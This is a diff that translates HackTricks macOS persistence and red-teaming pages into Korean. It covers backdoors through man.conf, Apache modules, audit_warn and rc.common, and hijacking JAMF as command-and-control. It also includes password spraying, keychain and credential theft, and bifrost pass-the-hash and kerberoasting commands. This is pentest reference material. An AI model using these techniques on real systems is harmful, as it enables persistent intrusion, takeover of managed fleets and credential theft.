[🔴](https://emojipedia.org/large-red-circle) +- 샌드박스를 우회하는 데 유용: [🟠](https://emojipedia.org/large-orange-circle) +- 하지만 root 권한이 필요하고 사용자는 man을 사용해야 합니다 +- TCC 우회: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### 위치 - **`/private/etc/man.conf`** - - Root required - - **`/private/etc/man.conf`**: Whenever man is used +- Root 필요 +- **`/private/etc/man.conf`**: man이 사용될 때마다 -#### Description & Exploit +#### 설명 및 익스플로잇 -The config file **`/private/etc/man.conf`** indicate the binary/script to use when opening man documentation files. So the path to the executable could be modified so anytime the user uses man to read some docs a backdoor is executed. - -For example set in **`/private/etc/man.conf`**: +구성 파일 **`/private/etc/man.conf`**는 man 문서 파일을 열 때 사용할 바이너리/스크립트를 나타냅니다. 따라서 실행 파일의 경로를 수정하면 사용자가 문서를 읽기 위해 man을 사용할 때마다 백도어가 실행됩니다. +예를 들어 **`/private/etc/man.conf`**에 설정: ``` MANPAGER /tmp/view ``` - -And then create `/tmp/view` as: - +그리고 `/tmp/view`를 다음과 같이 생성합니다: ```bash #!/bin/zsh @@ -1478,40 +1323,34 @@ touch /tmp/manconf /usr/bin/less -s ``` - ### Apache2 **Writeup**: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and apache needs to be running -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) - - Httpd doesn't have entitlements +- 샌드박스를 우회하는 데 유용: [🟠](https://emojipedia.org/large-orange-circle) +- 하지만 root 권한이 필요하고 apache가 실행 중이어야 함 +- TCC 우회: [🔴](https://emojipedia.org/large-red-circle) +- Httpd에는 권한이 없음 #### Location - **`/etc/apache2/httpd.conf`** - - Root required - - Trigger: When Apache2 is started +- Root 권한 필요 +- 트리거: Apache2가 시작될 때 #### Description & Exploit -You can indicate in `/etc/apache2/httpd.conf` to load a module adding a line such as: - +`/etc/apache2/httpd.conf`에서 모듈을 로드하도록 다음과 같은 줄을 추가할 수 있습니다: ```bash LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` +이렇게 하면 컴파일된 모듈이 Apache에 의해 로드됩니다. 유일한 점은 **유효한 Apple 인증서로 서명해야 하거나**, **시스템에 새로운 신뢰할 수 있는 인증서를 추가하고** 그것으로 **서명해야** 한다는 것입니다. -This way your compiled moduled will be loaded by Apache. The only thing is that either you need to **sign it with a valid Apple certificate**, or you need to **add a new trusted certificate** in the system and **sign it** with it. - -Then, if needed , to make sure the server will be started you could execute: - +그런 다음, 필요하다면 서버가 시작될 것인지 확인하기 위해 다음을 실행할 수 있습니다: ```bash sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist ``` - -Code example for the Dylb: - +Dylb에 대한 코드 예제: ```objectivec #include #include @@ -1519,137 +1358,127 @@ Code example for the Dylb: __attribute__((constructor)) static void myconstructor(int argc, const char **argv) { - printf("[+] dylib constructor called from %s\n", argv[0]); - syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); +printf("[+] dylib constructor called from %s\n", argv[0]); +syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); } ``` - -### BSM audit framework +### BSM 감사 프레임워크 Writeup: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit.github.io/beyond/beyond_0031/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root, auditd be running and cause a warning -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- 샌드박스를 우회하는 데 유용: [🟠](https://emojipedia.org/large-orange-circle) +- 하지만 root 권한이 필요하고, auditd가 실행 중이어야 하며 경고를 발생시켜야 함 +- TCC 우회: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### 위치 - **`/etc/security/audit_warn`** - - Root required - - **Trigger**: When auditd detects a warning +- root 권한 필요 +- **트리거**: auditd가 경고를 감지할 때 -#### Description & Exploit - -Whenever auditd detects a warning the script **`/etc/security/audit_warn`** is **executed**. So you could add your payload on it. +#### 설명 및 익스플로잇 +auditd가 경고를 감지할 때마다 스크립트 **`/etc/security/audit_warn`**이 **실행**됩니다. 따라서 여기에 페이로드를 추가할 수 있습니다. ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` +`sudo audit -n` 명령어로 경고를 강제로 발생시킬 수 있습니다. -You could force a warning with `sudo audit -n`. +### 시작 항목 -### Startup Items +> [!CAUTION] > **이것은 더 이상 사용되지 않으므로 해당 디렉토리에서 아무것도 발견되지 않아야 합니다.** -> [!CAUTION] > **This is deprecated, so nothing should be found in those directories.** +**StartupItem**은 `/Library/StartupItems/` 또는 `/System/Library/StartupItems/` 내에 위치해야 하는 디렉토리입니다. 이 디렉토리가 설정되면 두 개의 특정 파일을 포함해야 합니다: -The **StartupItem** is a directory that should be positioned within either `/Library/StartupItems/` or `/System/Library/StartupItems/`. Once this directory is established, it must encompass two specific files: +1. **rc 스크립트**: 시작 시 실행되는 셸 스크립트입니다. +2. **plist 파일**, 특히 `StartupParameters.plist`라는 이름을 가진 파일로, 다양한 구성 설정을 포함합니다. -1. An **rc script**: A shell script executed at startup. -2. A **plist file**, specifically named `StartupParameters.plist`, which contains various configuration settings. - -Ensure that both the rc script and the `StartupParameters.plist` file are correctly placed inside the **StartupItem** directory for the startup process to recognize and utilize them. +rc 스크립트와 `StartupParameters.plist` 파일이 **StartupItem** 디렉토리 내에 올바르게 배치되어야 시작 프로세스가 이를 인식하고 활용할 수 있습니다. {{#tabs}} {{#tab name="StartupParameters.plist"}} - ```xml - Description - This is a description of this service - OrderPreference - None - Provides - - superservicename - +Description +This is a description of this service +OrderPreference +None +Provides + +superservicename + ``` - {{#endtab}} {{#tab name="superservicename"}} - ```bash #!/bin/sh . /etc/rc.common StartService(){ - touch /tmp/superservicestarted +touch /tmp/superservicestarted } StopService(){ - rm /tmp/superservicestarted +rm /tmp/superservicestarted } RestartService(){ - echo "Restarting" +echo "Restarting" } RunService "$1" ``` - {{#endtab}} {{#endtabs}} ### ~~emond~~ > [!CAUTION] -> I cannot find this component in my macOS so for more info check the writeup +> 이 구성 요소를 제 macOS에서 찾을 수 없으므로 더 많은 정보는 작성된 내용을 확인하세요. -Writeup: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) +작성된 내용: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) -Introduced by Apple, **emond** is a logging mechanism that seems to be underdeveloped or possibly abandoned, yet it remains accessible. While not particularly beneficial for a Mac administrator, this obscure service could serve as a subtle persistence method for threat actors, likely unnoticed by most macOS admins. - -For those aware of its existence, identifying any malicious usage of **emond** is straightforward. The system's LaunchDaemon for this service seeks scripts to execute in a single directory. To inspect this, the following command can be used: +Apple에 의해 도입된 **emond**는 개발이 미비하거나 아마도 포기된 것으로 보이는 로깅 메커니즘이지만 여전히 접근 가능합니다. Mac 관리자에게 특히 유용하지는 않지만, 이 불명확한 서비스는 위협 행위자에게 미세한 지속성 방법으로 작용할 수 있으며, 대부분의 macOS 관리자에게는 눈에 띄지 않을 가능성이 높습니다. +그 존재를 알고 있는 사람들에게 **emond**의 악의적인 사용을 식별하는 것은 간단합니다. 이 서비스의 시스템 LaunchDaemon은 단일 디렉토리에서 실행할 스크립트를 찾습니다. 이를 검사하기 위해 다음 명령을 사용할 수 있습니다: ```bash ls -l /private/var/db/emondClients ``` - ### ~~XQuartz~~ Writeup: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) -#### Location +#### 위치 - **`/opt/X11/etc/X11/xinit/privileged_startx.d`** - - Root required - - **Trigger**: With XQuartz +- 루트 권한 필요 +- **트리거**: XQuartz와 함께 -#### Description & Exploit +#### 설명 및 익스플로잇 -XQuartz is **no longer installed in macOS**, so if you want more info check the writeup. +XQuartz는 **더 이상 macOS에 설치되지 않으므로**, 더 많은 정보가 필요하면 작성된 내용을 확인하세요. ### ~~kext~~ > [!CAUTION] -> It's so complicated to install kext even as root taht I won't consider this to escape from sandboxes or even for persistence (unless you have an exploit) +> 루트로 설치하는 것조차 kext 설치가 너무 복잡해서 샌드박스를 우회하거나 지속성을 위해 고려하지 않겠습니다 (익스플로잇이 없는 한). -#### Location +#### 위치 -In order to install a KEXT as a startup item, it needs to be **installed in one of the following locations**: +KEXT를 시작 항목으로 설치하려면 **다음 위치 중 하나에 설치해야 합니다**: - `/System/Library/Extensions` - - KEXT files built into the OS X operating system. +- OS X 운영 체제에 내장된 KEXT 파일. - `/Library/Extensions` - - KEXT files installed by 3rd party software - -You can list currently loaded kext files with: +- 서드파티 소프트웨어에 의해 설치된 KEXT 파일 +현재 로드된 kext 파일을 나열하려면: ```bash kextstat #List loaded kext kextload /path/to/kext.kext #Load a new one based on path @@ -1657,44 +1486,42 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` - -For more information about [**kernel extensions check this section**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). +더 많은 정보는 [**커널 확장에 대한 이 섹션을 확인하세요**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). ### ~~amstoold~~ -Writeup: [https://theevilbit.github.io/beyond/beyond_0029/](https://theevilbit.github.io/beyond/beyond_0029/) +작성: [https://theevilbit.github.io/beyond/beyond_0029/](https://theevilbit.github.io/beyond/beyond_0029/) -#### Location +#### 위치 - **`/usr/local/bin/amstoold`** - - Root required +- 루트 권한 필요 -#### Description & Exploitation +#### 설명 및 악용 -Apparently the `plist` from `/System/Library/LaunchAgents/com.apple.amstoold.plist` was using this binary while exposing a XPC service... the thing is that the binary didn't exist, so you could place something there and when the XPC service gets called your binary will be called. +`/System/Library/LaunchAgents/com.apple.amstoold.plist`의 `plist`가 이 바이너리를 사용하고 있었던 것으로 보이며, XPC 서비스가 노출되고 있었습니다... 문제는 바이너리가 존재하지 않았다는 것입니다. 그래서 그곳에 무언가를 배치하면 XPC 서비스가 호출될 때 당신의 바이너리가 호출됩니다. -I can no longer find this in my macOS. +이제 더 이상 제 macOS에서 이걸 찾을 수 없습니다. ### ~~xsanctl~~ -Writeup: [https://theevilbit.github.io/beyond/beyond_0015/](https://theevilbit.github.io/beyond/beyond_0015/) +작성: [https://theevilbit.github.io/beyond/beyond_0015/](https://theevilbit.github.io/beyond/beyond_0015/) -#### Location +#### 위치 - **`/Library/Preferences/Xsan/.xsanrc`** - - Root required - - **Trigger**: When the service is run (rarely) +- 루트 권한 필요 +- **트리거**: 서비스가 실행될 때 (드물게) -#### Description & exploit +#### 설명 및 악용 -Apparently it's not very common to run this script and I couldn't even find it in my macOS, so if you want more info check the writeup. +이 스크립트를 실행하는 것은 그리 일반적이지 않으며, 제 macOS에서도 찾을 수 없었습니다. 더 많은 정보가 필요하면 작성된 내용을 확인하세요. ### ~~/etc/rc.common~~ -> [!CAUTION] > **This isn't working in modern MacOS versions** - -It's also possible to place here **commands that will be executed at startup.** Example os regular rc.common script: +> [!CAUTION] > **이것은 최신 macOS 버전에서 작동하지 않습니다** +여기에 **시작 시 실행될 명령을 배치하는 것도 가능합니다.** 일반적인 rc.common 스크립트의 예: ```bash # # Common setup for startup scripts. @@ -1734,16 +1561,16 @@ PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; ex # CheckForNetwork() { - local test +local test - if [ -z "${NETWORKUP:=}" ]; then - test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l) - if [ "${test}" -gt 0 ]; then - NETWORKUP="-YES-" - else - NETWORKUP="-NO-" - fi - fi +if [ -z "${NETWORKUP:=}" ]; then +test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l) +if [ "${test}" -gt 0 ]; then +NETWORKUP="-YES-" +else +NETWORKUP="-NO-" +fi +fi } alias ConsoleMessage=echo @@ -1753,25 +1580,25 @@ alias ConsoleMessage=echo # GetPID () { - local program="$1" - local pidfile="${PIDFILE:=/var/run/${program}.pid}" - local pid="" +local program="$1" +local pidfile="${PIDFILE:=/var/run/${program}.pid}" +local pid="" - if [ -f "${pidfile}" ]; then - pid=$(head -1 "${pidfile}") - if ! kill -0 "${pid}" 2> /dev/null; then - echo "Bad pid file $pidfile; deleting." - pid="" - rm -f "${pidfile}" - fi - fi +if [ -f "${pidfile}" ]; then +pid=$(head -1 "${pidfile}") +if ! kill -0 "${pid}" 2> /dev/null; then +echo "Bad pid file $pidfile; deleting." +pid="" +rm -f "${pidfile}" +fi +fi - if [ -n "${pid}" ]; then - echo "${pid}" - return 0 - else - return 1 - fi +if [ -n "${pid}" ]; then +echo "${pid}" +return 0 +else +return 1 +fi } # @@ -1779,16 +1606,15 @@ GetPID () # RunService () { - case $1 in - start ) StartService ;; - stop ) StopService ;; - restart) RestartService ;; - * ) echo "$0: unknown argument: $1";; - esac +case $1 in +start ) StartService ;; +stop ) StopService ;; +restart) RestartService ;; +* ) echo "$0: unknown argument: $1";; +esac } ``` - -## Persistence techniques and tools +## 지속성 기술 및 도구 - [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift) - [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA) diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md index 3701205f8..79a6e77d8 100644 --- a/src/macos-hardening/macos-red-teaming/README.md +++ b/src/macos-hardening/macos-red-teaming/README.md @@ -2,109 +2,97 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -## Abusing MDMs +## MDM 악용 - JAMF Pro: `jamf checkJSSConnection` - Kandji -If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines. +관리 플랫폼에 접근하기 위해 **관리자 자격 증명을 타협**하는 데 성공하면, 기계에 악성 코드를 배포하여 **모든 컴퓨터를 타협할 수 있습니다**. -For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work: +MacOS 환경에서 레드 팀 활동을 하려면 MDM이 어떻게 작동하는지에 대한 이해가 필요합니다: {{#ref}} macos-mdm/ {{#endref}} -### Using MDM as a C2 +### C2로서 MDM 사용 -A MDM will have permission to install, query or remove profiles, install applications, create local admin accounts, set firmware password, change the FileVault key... +MDM은 프로필을 설치, 쿼리 또는 제거하고, 애플리케이션을 설치하고, 로컬 관리자 계정을 생성하고, 펌웨어 비밀번호를 설정하고, FileVault 키를 변경할 수 있는 권한을 가집니다... -In order to run your own MDM you need to **your CSR signed by a vendor** which you could try to get with [**https://mdmcert.download/**](https://mdmcert.download/). And to run your own MDM for Apple devices you could use [**MicroMDM**](https://github.com/micromdm/micromdm). +자신의 MDM을 운영하려면 **공급업체에 의해 서명된 CSR**이 필요하며, 이를 [**https://mdmcert.download/**](https://mdmcert.download/)에서 얻으려고 시도할 수 있습니다. Apple 장치용 MDM을 운영하려면 [**MicroMDM**](https://github.com/micromdm/micromdm)을 사용할 수 있습니다. -However, to install an application in an enrolled device, you still need it to be signed by a developer account... however, upon MDM enrolment the **device adds the SSL cert of the MDM as a trusted CA**, so you can now sign anything. +그러나 등록된 장치에 애플리케이션을 설치하려면 여전히 개발자 계정으로 서명되어야 합니다... 하지만 MDM 등록 시 **장치가 MDM의 SSL 인증서를 신뢰할 수 있는 CA로 추가**하므로 이제 무엇이든 서명할 수 있습니다. -To enrol the device in a MDM you. need to install a **`mobileconfig`** file as root, which could be delivered via a **pkg** file (you could compress it in zip and when downloaded from safari it will be decompressed). +장치를 MDM에 등록하려면 **`mobileconfig`** 파일을 루트로 설치해야 하며, 이는 **pkg** 파일을 통해 전달될 수 있습니다(이를 zip으로 압축하고 Safari에서 다운로드하면 압축이 해제됩니다). -**Mythic agent Orthrus** uses this technique. +**Mythic agent Orthrus**는 이 기술을 사용합니다. -### Abusing JAMF PRO +### JAMF PRO 악용 -JAMF can run **custom scripts** (scripts developed by the sysadmin), **native payloads** (local account creation, set EFI password, file/process monitoring...) and **MDM** (device configurations, device certificates...). +JAMF는 **사용자 정의 스크립트**(시스템 관리자가 개발한 스크립트), **네이티브 페이로드**(로컬 계정 생성, EFI 비밀번호 설정, 파일/프로세스 모니터링...) 및 **MDM**(장치 구성, 장치 인증서...)를 실행할 수 있습니다. -#### JAMF self-enrolment +#### JAMF 자체 등록 -Go to a page such as `https://.jamfcloud.com/enroll/` to see if they have **self-enrolment enabled**. If they have it might **ask for credentials to access**. +`https://.jamfcloud.com/enroll/`와 같은 페이지로 가서 **자체 등록이 활성화되어 있는지** 확인하십시오. 활성화되어 있다면 **접근을 위한 자격 증명을 요청할 수 있습니다**. -You could use the script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) to perform a password spraying attack. +스크립트 [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)를 사용하여 비밀번호 스프레이 공격을 수행할 수 있습니다. -Moreover, after finding proper credentials you could be able to brute-force other usernames with the next form: +또한, 적절한 자격 증명을 찾은 후에는 다음 양식을 사용하여 다른 사용자 이름을 무차별 대입할 수 있습니다: ![](<../../images/image (107).png>) -#### JAMF device Authentication +#### JAMF 장치 인증
-The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\ -Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`** +**`jamf`** 바이너리는 키체인을 열기 위한 비밀을 포함하고 있으며, 발견 당시 모든 사람과 **공유**되었습니다: **`jk23ucnq91jfu9aj`**.\ +또한, jamf는 **`/Library/LaunchAgents/com.jamf.management.agent.plist`**에 **LaunchDaemon**으로 **지속**됩니다. -#### JAMF Device Takeover - -The **JSS** (Jamf Software Server) **URL** that **`jamf`** will use is located in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\ -This file basically contains the URL: +#### JAMF 장치 인수 +**JSS** (Jamf Software Server) **URL**은 **`jamf`**가 사용할 **`/Library/Preferences/com.jamfsoftware.jamf.plist`**에 위치합니다.\ +이 파일은 기본적으로 URL을 포함하고 있습니다: ```bash plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist [...] - is_virtual_machine - - jss_url - https://halbornasd.jamfcloud.com/ - last_management_framework_change_id - 4 +is_virtual_machine + +jss_url +https://halbornasd.jamfcloud.com/ +last_management_framework_change_id +4 [...] ``` - -So, an attacker could drop a malicious package (`pkg`) that **overwrites this file** when installed setting the **URL to a Mythic C2 listener from a Typhon agent** to now be able to abuse JAMF as C2. - +따라서 공격자는 설치할 때 이 파일을 **덮어쓰는** 악성 패키지(`pkg`)를 배포하여 **Typhon 에이전트의 Mythic C2 리스너에 대한 URL을 설정**하여 JAMF를 C2로 악용할 수 있게 됩니다. ```bash # After changing the URL you could wait for it to be reloaded or execute: sudo jamf policy -id 0 # TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2 ``` +#### JAMF 사칭 -#### JAMF Impersonation +장치와 JMF 간의 **통신을 사칭**하려면 다음이 필요합니다: -In order to **impersonate the communication** between a device and JMF you need: +- 장치의 **UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` +- 장치 인증서를 포함하는 **JAMF 키체인**: `/Library/Application\ Support/Jamf/JAMF.keychain` -- The **UUID** of the device: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` -- The **JAMF keychain** from: `/Library/Application\ Support/Jamf/JAMF.keychain` which contains the device certificate +이 정보를 바탕으로, **도난당한** 하드웨어 **UUID**와 **SIP 비활성화**된 **VM**을 생성하고, **JAMF 키체인**을 드롭한 후, Jamf **에이전트를 훅**하여 정보를 훔치세요. -With this information, **create a VM** with the **stolen** Hardware **UUID** and with **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** and steal its information. - -#### Secrets stealing +#### 비밀 정보 훔치기

a

-You could also monitor the location `/Library/Application Support/Jamf/tmp/` for the **custom scripts** admins might want to execute via Jamf as they are **placed here, executed and removed**. These scripts **might contain credentials**. +관리자가 Jamf를 통해 실행하고자 할 **커스텀 스크립트**를 위해 `/Library/Application Support/Jamf/tmp/` 위치를 모니터링할 수도 있습니다. 이 스크립트는 **여기에 배치되고 실행된 후 제거됩니다.** 이 스크립트는 **자격 증명**을 포함할 수 있습니다. -However, **credentials** might be passed tho these scripts as **parameters**, so you would need to monitor `ps aux | grep -i jamf` (without even being root). +그러나 **자격 증명**은 이러한 스크립트에 **매개변수**로 전달될 수 있으므로, `ps aux | grep -i jamf`를 모니터링해야 합니다 (루트 권한 없이도 가능합니다). -The script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) can listen for new files being added and new process arguments. +스크립트 [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)는 새 파일이 추가되거나 새로운 프로세스 인수가 생기는 것을 감지할 수 있습니다. -### macOS Remote Access +### macOS 원격 접근 -And also about **MacOS** "special" **network** **protocols**: +또한 **MacOS** "특별한" **네트워크** **프로토콜**에 대해: {{#ref}} ../macos-security-and-privilege-escalation/macos-protocols.md @@ -112,7 +100,7 @@ And also about **MacOS** "special" **network** **protocols**: ## Active Directory -In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages: +일부 경우 **MacOS 컴퓨터가 AD에 연결되어 있는** 것을 발견할 수 있습니다. 이 시나리오에서는 익숙한 대로 **액티브 디렉토리**를 **열거**하려고 시도해야 합니다. 다음 페이지에서 **도움**을 찾으세요: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -126,41 +114,36 @@ In some occasions you will find that the **MacOS computer is connected to an AD* ../../network-services-pentesting/pentesting-kerberos-88/ {{#endref}} -Some **local MacOS tool** that may also help you is `dscl`: - +도움이 될 수 있는 **로컬 MacOS 도구**는 `dscl`입니다: ```bash dscl "/Active Directory/[Domain]/All Domains" ls / ``` +또한 MacOS에서 AD를 자동으로 열거하고 kerberos와 상호작용하기 위해 준비된 몇 가지 도구가 있습니다: -Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos: - -- [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts. -- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target. -- [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration. - -### Domain Information +- [**Machound**](https://github.com/XMCyber/MacHound): MacHound는 MacOS 호스트에서 Active Directory 관계를 수집하고 수집할 수 있도록 하는 Bloodhound 감사 도구의 확장입니다. +- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost는 macOS에서 Heimdal krb5 API와 상호작용하도록 설계된 Objective-C 프로젝트입니다. 이 프로젝트의 목표는 타겟에 다른 프레임워크나 패키지를 요구하지 않고 네이티브 API를 사용하여 macOS 장치에서 Kerberos에 대한 보안 테스트를 개선하는 것입니다. +- [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory 열거를 수행하기 위한 JavaScript for Automation (JXA) 도구입니다. +### 도메인 정보 ```bash echo show com.apple.opendirectoryd.ActiveDirectory | scutil ``` +### 사용자 -### Users +MacOS 사용자 유형은 다음과 같습니다: -The three types of MacOS users are: +- **로컬 사용자** — 로컬 OpenDirectory 서비스에 의해 관리되며, Active Directory와는 어떤 식으로도 연결되어 있지 않습니다. +- **네트워크 사용자** — DC 서버에 연결하여 인증을 요구하는 변동성 Active Directory 사용자입니다. +- **모바일 사용자** — 자격 증명 및 파일에 대한 로컬 백업이 있는 Active Directory 사용자입니다. -- **Local Users** — Managed by the local OpenDirectory service, they aren’t connected in any way to the Active Directory. -- **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate. -- **Mobile Users** — Active Directory users with a local backup for their credentials and files. +사용자 및 그룹에 대한 로컬 정보는 _/var/db/dslocal/nodes/Default._ 폴더에 저장됩니다.\ +예를 들어, _mark_라는 사용자에 대한 정보는 _/var/db/dslocal/nodes/Default/users/mark.plist_에 저장되며, _admin_ 그룹에 대한 정보는 _/var/db/dslocal/nodes/Default/groups/admin.plist_에 있습니다. -The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\ -For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_. - -In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database: - -- **CanSSH** - entity allowed to SSH to host -- **CanVNC** - entity allowed to VNC to host -- **CanAE** - entity allowed to execute AppleEvent scripts on host +HasSession 및 AdminTo 엣지를 사용하는 것 외에도, **MacHound는 Bloodhound 데이터베이스에 세 가지 새로운 엣지를 추가합니다**: +- **CanSSH** - 호스트에 SSH할 수 있는 엔티티 +- **CanVNC** - 호스트에 VNC할 수 있는 엔티티 +- **CanAE** - 호스트에서 AppleEvent 스크립트를 실행할 수 있는 엔티티 ```bash #User enumeration dscl . ls /Users @@ -182,71 +165,60 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]" #Domain Information dsconfigad -show ``` +더 많은 정보는 [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)에서 확인하세요. -More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) - -### Computer$ password - -Get passwords using: +### Computer$ 비밀번호 +다음 방법으로 비밀번호를 가져옵니다: ```bash bifrost --action askhash --username [name] --password [password] --domain [domain] ``` - -It's possible to access the **`Computer$`** password inside the System keychain. +**`Computer$`** 비밀번호에 시스템 키체인에서 접근할 수 있습니다. ### Over-Pass-The-Hash -Get a TGT for an specific user and service: - +특정 사용자 및 서비스에 대한 TGT를 가져옵니다: ```bash bifrost --action asktgt --username [user] --domain [domain.com] \ - --hash [hash] --enctype [enctype] --keytab [/path/to/keytab] +--hash [hash] --enctype [enctype] --keytab [/path/to/keytab] ``` - -Once the TGT is gathered, it's possible to inject it in the current session with: - +TGT가 수집되면, 현재 세션에 주입할 수 있습니다: ```bash bifrost --action asktgt --username test_lab_admin \ - --hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \ - --enctype aes256 --domain test.lab.local +--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \ +--enctype aes256 --domain test.lab.local ``` - ### Kerberoasting - ```bash bifrost --action asktgs --spn [service] --domain [domain.com] \ - --username [user] --hash [hash] --enctype [enctype] +--username [user] --hash [hash] --enctype [enctype] ``` - -With obtained service tickets it's possible to try to access shares in other computers: - +획득한 서비스 티켓을 사용하여 다른 컴퓨터의 공유에 접근할 수 있습니다: ```bash smbutil view //computer.fqdn mount -t smbfs //server/folder /local/mount/point ``` +## 키체인 접근 -## Accessing the Keychain - -The Keychain highly probably contains sensitive information that if accessed without generating a prompt could help to move forward a red team exercise: +키체인은 민감한 정보를 포함하고 있을 가능성이 높으며, 프롬프트를 생성하지 않고 접근할 경우 레드 팀 연습을 진행하는 데 도움이 될 수 있습니다: {{#ref}} macos-keychain.md {{#endref}} -## External Services +## 외부 서비스 -MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin. +MacOS 레드 팀은 일반적인 Windows 레드 팀과 다르며, 보통 **MacOS는 여러 외부 플랫폼과 직접 통합되어 있습니다**. MacOS의 일반적인 구성은 **OneLogin 동기화 자격 증명을 사용하여 컴퓨터에 접근하고, OneLogin을 통해 여러 외부 서비스**(예: github, aws...)에 접근하는 것입니다. -## Misc Red Team techniques +## 기타 레드 팀 기술 ### Safari -When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed: +Safari에서 파일이 다운로드될 때, "안전한" 파일이라면 **자동으로 열립니다**. 예를 들어, **zip 파일을 다운로드하면** 자동으로 압축이 해제됩니다:
